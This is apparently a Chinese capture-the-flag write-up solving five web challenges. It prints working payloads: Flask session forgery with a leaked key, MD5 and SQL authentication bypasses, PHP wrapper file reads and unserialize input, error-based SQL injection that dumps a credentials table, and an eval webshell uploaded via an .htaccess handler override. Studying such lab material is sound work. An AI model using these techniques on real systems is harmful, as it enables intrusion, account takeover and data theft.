目录
1.[HCTF 2018]admin1
这一题有三种解法,session伪造,unicode欺骗,弱口令破解。我只讲session伪造这一种解法,
首先随便注册一个用户,在changepassword页面下f12查看源码,可以看到一个github网站链接,进去就可以看到源码了,
这里因为我的浏览器出了点问题,只能用别人的图了
这段代码就是说通过我们创建的用户id来检查用户是否存在,创建的每一个用户都有属于自己的sessio,讲讲session伪造:
所谓通俗一点,就是你在这一个窗口打开的多个页面共用一个session,每个页面算一个域,每个session一般存放这个用户的个人信息,但一般是通过加密并且加了salt的,所以这里的问题是,我们怎样将session解码并且修改用户信息改为admin,这个salt就是secret_key(密钥),在github上的config,py上可以看到,密钥一般都是放在配置文件里的,
在config.py里我们发现了secret_key:ckj123,下面开始seesion伪造,工具链接:https://github.com/noraj/flask-session-cookie-manager
我们先把我们自己的session解密出来:
解密出来就是:{'_fresh': True, '_id': b'6487f66eef2f59c5ee6a9c9c31c881a6db004b6b1f31f7067e41ba508f3b69a928f36f15371510479fafbf4e5d7c3281993f52ffa7ecbc775c5ed80ecfa82cd9', 'csrf_token': b'51cbc1ffafdf9b8215146e1093107ca5921c90f9', 'name': '1', 'user_id': '10'}
我们把name后面的1改为admin,1是我之前创建的用户id,改完之后就是:
{'_fresh': True, '_id': b'6487f66eef2f59c5ee6a9c9c31c881a6db004b6b1f31f7067e41ba508f3b69a928f36f15371510479fafbf4e5d7c3281993f52ffa7ecbc775c5ed80ecfa82cd9', 'csrf_token': b'51cbc1ffafdf9b8215146e1093107ca5921c90f9', 'name': 'admin', 'user_id': '10'}
再用工具把这段密文加密成session,就得到了我们伪造的session
.eJxFkMGOgkAQRH9l02cPOIsXEw8YYIPJ9MTNiJm-GAUUG9pNUCM7xn9f8LK3Sif1qquesDt21bWG-a27VxPYnUuYP-HjAHNAXoeonELJW-KVoG0Zt3mLksycb1n7lE186p2lxnH0wK9MOU5luAv6SKHaBHq7qtFGITGekdva2GzQWhEnU-2LHm3ywLiYkaTixAVk8waV9ppPvbGNJ978klCNKmcn-hN9Pv7QmHjZOkW1iVdMcbOA1wSKa3fc3X6a6vJfwaajrR8RJN9itlmox2i7VjREG6t7HZfs7Gameahjl2LWizfuspdqQOxLOV9gAvdr1b3XgWkArz-Hn2bW.Ypy5TQ.RtcqUQCOe5DT9PoCetd5WtDBhwg
复制到bp下把session的内容改一下重新发送请求包即可:
2.[BJDCTF2020]Easy MD51
打开页面要求提交数据
抓包看一下
ad是我们自己提交的数据,作为password变量的值,看到提示部分,提示告诉我们这是一个sql语句,我们提交的数据(即pass)应该是md5加密后的
百度了MD5函数的漏洞,这个漏洞就是,当我们将下面这个十进制传入mysql数据库的时候,那么mysql会自动将这些值转为十六进程并且转为一个字符串,用这个字符串来进行闭合前面的,那么就是一个永真的条件。类似于一个sql万能密码,百度现成的字符串是ffifdyop,直接用
看一下源码
源码提示我们GET方式提两个参数a和b,然后就是一个md5的弱类型比较,这个应该很熟悉了,想深入了解的小伙伴请参考下面这篇文章:
(78条消息) 【CTF】关于md5总结_吃_早餐的博客-CSDN博客_ctf md5
直接给出payload:?a=s878926199a&b=s155964671a,这里a和b前面都加了s,不加和报错,其实可以是任意字母,我不知道为什么,我们直接看一下访问后的结果:
可以看到这里哟一个文件包含,要求我们以post方式提交两个参数param1和param2,然后对这两个参数进行强类型比较,具体的还请参考上面那篇文章,这里我直接给出payload:
param1[]=a¶m2[]=b
最后提示各位,我们bp抓包,看到最初的提交数据方式如果不是POST而是GET,但我们要以POST方式提交数据的话,除了要把GET改为POST外,还应该在请求体中加入Content-Type:application/x-www-form-urlencoded,如果不加不会得到想要的结果,至于为什么,请看:(78条消息) x-www-form-urlencoded到底是什么?_印第安米饭的博客-CSDN博客_www-form-urlencoded。
3.[ZJCTF 2019]NiZhuanSiWei 1
打开后就是一段源码
源码提示我们要以GET方式提交三个参数,text,file,和password,其中text要以文件方式提交,文件内容为welcome to zjctf,我们可以用下面的命令写入一个text文件:
data://text/plain,welcome to the zjctf
至于file,但是源码提示了useless.php这里使用php伪协议来读取文件
php://filter/read=convert.base64-encode/resource=useless.php
至于password,目前只知道它是要提交一个序列化的内容,但到底要把什么序列化,目前我们是不知道的,所以先不管,先提交第一个payload查看useless.php的内容:
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php,我们把读取的内容以base64的方式输出是为了保证数据的完整性,可以输出一些我们肉眼看不到的内容
把base64编码解密之后就是
这样,我们就找到了序列话的对象了
payload:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
访问后查看源码即可
4.[极客大挑战 2019]HardSQL 1
题目打开,是很明显的sql注入
我们试着找注入点
回显正常,试着把1改为1‘
报错了,我这里直接锁定报错注入,报错注入,已有大佬给出了详细的解答:
报错注入的姿势主要有两个,分别是xpath语法错误
和 concat+rand()+group_by()导致主键重复
这道题我只使用了xpath语法错误
,就先来看看怎么用吧!可以分为两个函数,分别是extracvalue
和updatexml
两个函数,使用方法类似。
掌握的是updatexml函数和extractvalue函数,利用这两个报错函数返回报错信息。
首先了解下updatexml()函数
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
改变XML_document中符合XPATH_string的值
1'^extractvalue(1,concat(0x7e,(select(database()))))#
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,然后将错误爆出。
先查看数据库:
这里空格被过滤了,我们采用加括号的方式来绕过,查看表
1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like('geek')))))#
爆字段
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where((table_name)like('H4rDsq1')))))#
1'^extractvalue(1,concat(0x7e,(select(group_concat(id,username,password))from(geek.H4rDsq1))))#
可以看到flag只出现了一部分, 从回显的信息来看我们,flag在password里,所以我们只用爆这一个字段就可以了,经查询得知,extractvalue最多返回32个字符,因此借助right函数打印剩余flag
1’^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23
1‘^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23
把两段拼接起来就i可以就是完整的flag了
5.[MRCTF2020]你传你🐎呢 1
传木马,没得说了,抓包看看
下面写马上传,记事本写入
GIF89a?
<script language="php">eval($_POST['password']);</script>
保存为1.jpg这个GIF89a?就是图像伪造,绕过检查
上转成功我们访问一下,
发现是这样的,这就说面我们的代码没有被成功解析,这就要讲到本题的知识点了:参考:
(80条消息) [MRCTF2020]你传你呢 1_succ3的博客-CSDN博客
.htaccess
百度.htaccess的解释:htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
意思是:如果目标服务器允许用户修改.htaccess文件我们就可以通过.htaccess改文件的扩展名,例如jpg —> php
.user.ini
使用要求:
(1)服务器脚本语言为PHP
(2)对应目录下面有可执行的php文件
(3)服务器使用CGI/FastCGI模式
.user.ini.它比.htaccess使用的范围更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php就可以用这个方法。
.user.ini文件可以改变用户读取文件和包含文件的权限等,但和.htaccess相比条件多了一个对应目录下要有可执行文件。
两者区别:
.htaccess的解题作用是:上传其他格式的文件,通过.htaccess来把其他格式文件解析为php,或其他。
而.user.ini的解题作用是,通过auto_append_file、auto_prepend_file配置来使的当前目录下的文件包含你所上传的文件,这样即使你是jpg格式被包含到php中也会以php格式解析。
----仅为个人理解
我们自己创建一个.htaccess文件,内容是
GIF89a?
<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
1.jpg是刚刚上转的图片文件,一定要对应,不然无效
再上转
我标记的地方要更改,不然会上传失败,上传成功后我们再把之前的木马重新上传,注意,我说的是重新上传,不然还是会解析失败
访问一下,看到下面这样的就说明我们的木马被成功解析了
菜刀连一下,flag再根目录下
谢谢参考!